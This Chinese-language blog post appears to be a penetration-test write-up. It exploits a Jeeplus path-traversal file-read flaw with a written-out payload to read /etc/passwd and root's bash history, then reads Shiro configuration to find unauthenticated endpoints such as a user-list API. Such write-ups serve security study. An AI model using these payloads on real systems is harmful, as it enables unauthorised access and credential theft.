含shiro组件的未授权漏洞发现
前言
通过其他漏洞获取到配置信息时,如果含有shiro组件时可以去看下配置里面有哪些接口未鉴权,也许就可以提权扩大战果
一般常见的xml配置路径如下(含有spring框架时),通过xml配置可以去查看接口和代码之间的映射关系
1 | /WEB-INF/web.xml |
审计
文件读取漏洞
遇见的是一个Linux系统的java框架站,通过Jeeplus的文件读取漏洞可以读取到/etc/passwd
1 | /userfiles;a/a/a/a/a/a/a/a/a/a/a/userfiles/../../../../../../../../../../../etc/passwd |
获取web根路径
可以爆破进程路径信息去获取web根路径,爆破的请求比较明显尽量少用
1 | /proc/进程ID/cmdline |
也可以去读history命令记录,下面的是root用户的
1 | /root/.bash_history |
拼接得到的web根路径如下
1 | /usr/tomcat/apache-tomcat-8.5.76/webapps/fiber |
获取shiro配置
登录请求里返回了一个rememberMe=deleteMe
说明使用到了shiro框架
通过之前的信息知道了WEB-INF的路径,直接加上web.xml就可以读取主要的配置信息,但不是全部
1 | /usr/tomcat/apache-tomcat-8.5.76/webapps/fiber/WEB-INF/web.xml |
含有spring相关的xml配置路径如下,在classpath路径以spring-context开头的都会被识别
1 | classpath*:/spring-context*.xml |
对应shiro配置的绝对路径
1 | /usr/tomcat/apache-tomcat-8.5.76/webapps/fiber/WEB-INF/classes/spring-context-shiro.xml |
右侧为anon的表示不用鉴权就可以访问,无需授权的路径如下
1 | ${adminPath}/qualitysample/getSampleList = anon |
获取adminPath
在之前的history历史命令中可以发现存在一个配置fiber.properties
一些全局的变量就存储在里面,其中也包含了数据库密码
所以对应的相对路径则变为
1 | /a/sys/user/getUserList |
未授权漏洞
1 | /a/sys/user/getUserList |
本博客所有文章除特别声明外,均采用 CC BY-NC-SA 4.0 许可协议。转载请注明来自 狐狸小镇!